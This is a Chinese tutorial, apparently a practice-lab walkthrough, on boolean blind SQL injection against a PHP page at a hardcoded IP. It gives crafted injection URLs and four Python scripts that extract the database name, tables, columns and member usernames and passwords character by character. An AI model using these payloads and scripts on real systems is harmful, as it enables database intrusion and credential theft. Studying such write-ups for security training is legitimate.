MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。
第一步:找注入点(数字型)http://219.153.49.228/new_list.php?id=1
加 ’ 程序报错 加and 1=1 返回正常页面 加and 1=2 返回错误页面 则表示存在注入漏洞
第二步:
1.猜当前数据库名长度
http://219.153.49.228/new_list.php?id=1 and length(database())>10
现当值为10的时候,页面就没有显示为false。那么说明database()的长度是10
2.下面就是一个简单的使用Python来进行布尔盲注获取数据库名的代码
import requests
def getDBName(DBName_len):
DBName = ""
success_url = "http://219.153.49.228/new_list.php?id=1"
success_response_len = len(requests.get(success_url).text)
url_template = "http://219.153.49.228/new_list.php?id=1 and ascii(substr((select database()),{0},1))>{1}"
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
print("Start to retrieve database name...")
print("Success_response_len is: ", success_response_len)
for i in range( 1, DBName_len + 1):
print("Number of letter: " , i)
tempDBName = DBName
for char in chars:
print("Test letter " + char)
char_ascii = ord(char)
url = url_template.format(i, char_ascii)
response = requests.get(url)
if len(response.text) != success_response_len:
DBName += char
print("DBName is: " + DBName )
break
if tempDBName == DBName:
print("Letters too little! Program ended." )
exit()
print("Retrieve completed! DBName is: " + DBName)
getDBName(10)
得到最后的结果的是stormgroup,是正确的
3.接下来获取表名
同样我们需要知道表名的长度http://219.153.49.228/new_list.php?id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0
通过这种方式我们知道数据库表中的第一个表名的长度是6,(limit 1,1)依次类推第二个表。
接下来编写Python脚本
import requests
def gettable_name(table_name_len):
TBName = ""
success_url = "http://219.153.49.228/new_list.php?id=1"
success_response_len = len(requests.get(success_url).text)
url_template = "http://219.153.49.228/new_list.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1}"
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
print("Start to retrieve table name...")
print("Success_response_len is: ", success_response_len)
for i in range( 1, table_name_len + 1):
print("Number of letter: " , i)
tempTBName = TBName
for char in chars:
print("Test letter " + char)
char_ascii = ord(char)
url = url_template.format(i, char_ascii)
response = requests.get(url)
if len(response.text) != success_response_len:
TBName += char
print("table is: " + TBName )
break
if tempTBName == TBName:
print("Letters too little! Program ended." )
exit()
print("Retrieve completed! table is: " + TBName)
gettable_name(6)
最后得到第一个表名是 member,如果要得到其他的表名只需要将代码limit 0,1修改成为limit 1,1
4.进一步获取表的列名
同样需要知道在表中的列名长度
http://219.153.49.228/new_list.php?id=1 and (select length(column_name) from information_schema.columns where table_name=‘member’ limit 0,1)>N
修改N的值即可,从0开始一直到到页面没有显示为false。在此得到在member中存在2个字段,字段的长度分别是4,8。
接下来编写Python脚本
import requests
def getcolumn_name(column_name_len):
CLName = ""
success_url = "http://219.153.49.228/new_list.php?id=1"
success_response_len = len(requests.get(success_url).text)
url_template = "http://219.153.49.228/new_list.php?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),{0},1))>{1}"
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
print("Start to retrieve column name...")
print("Success_response_len is: ", success_response_len)
for i in range( 1, column_name_len + 1):
print("Number of letter: " , i)
tempCLName = CLName
for char in chars:
print("Test letter " + char)
char_ascii = ord(char)
url = url_template.format(i, char_ascii)
response = requests.get(url)
if len(response.text) != success_response_len:
CLName += char
print("column is: " + CLName )
break
if tempCLName == CLName:
print("Letters too little! Program ended." )
exit()
print("Retrieve completed! column is: " + CLName)
getcolumn_name(4)
得到在member表中存在的字段名称分别是name和password
5.猜解字段内容
首先判断在member表中有多少条记录http://219.153.49.228/new_list.php?id=1 and (select count(*) from member)>0
得到在member表中一共存在2条记录
获取表中的数据长度
http://219.153.49.228/new_list.php?id=1 and (select length(name) from member limit 0,1)>5
知道在member表中的第一条记录中的name的长度是5
接下来编写Python脚本
import requests
def get_data(data_len):
Data = ""
success_url = "http://219.153.49.228:43119/new_list.php?id=1"
success_response_len = len(requests.get(success_url).text)
url_template = "http://219.153.49.228:43119/new_list.php?id=1 and ascii(substr((select password from member limit 1,1),{0},1))>{1}"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
print("Start to retrieve Data...")
print("Success_response_len is: ", success_response_len)
for i in range( 1, data_len + 1):
print("Number of letter: " , i)
tempData = Data
for char in chars:
print("Test letter " + char)
char_ascii = ord(char)
url = url_template.format(i, char_ascii)
response = requests.get(url)
if len(response.text) != success_response_len:
Data += char
print("Data is: " + Data )
break
if tempData == Data:
print("Letters too little! Program ended." )
exit()
print("Retrieve completed! Data is: " + Data)
get_data(5)
得到在member表中第一条记录name=mozhe,以此类推password的值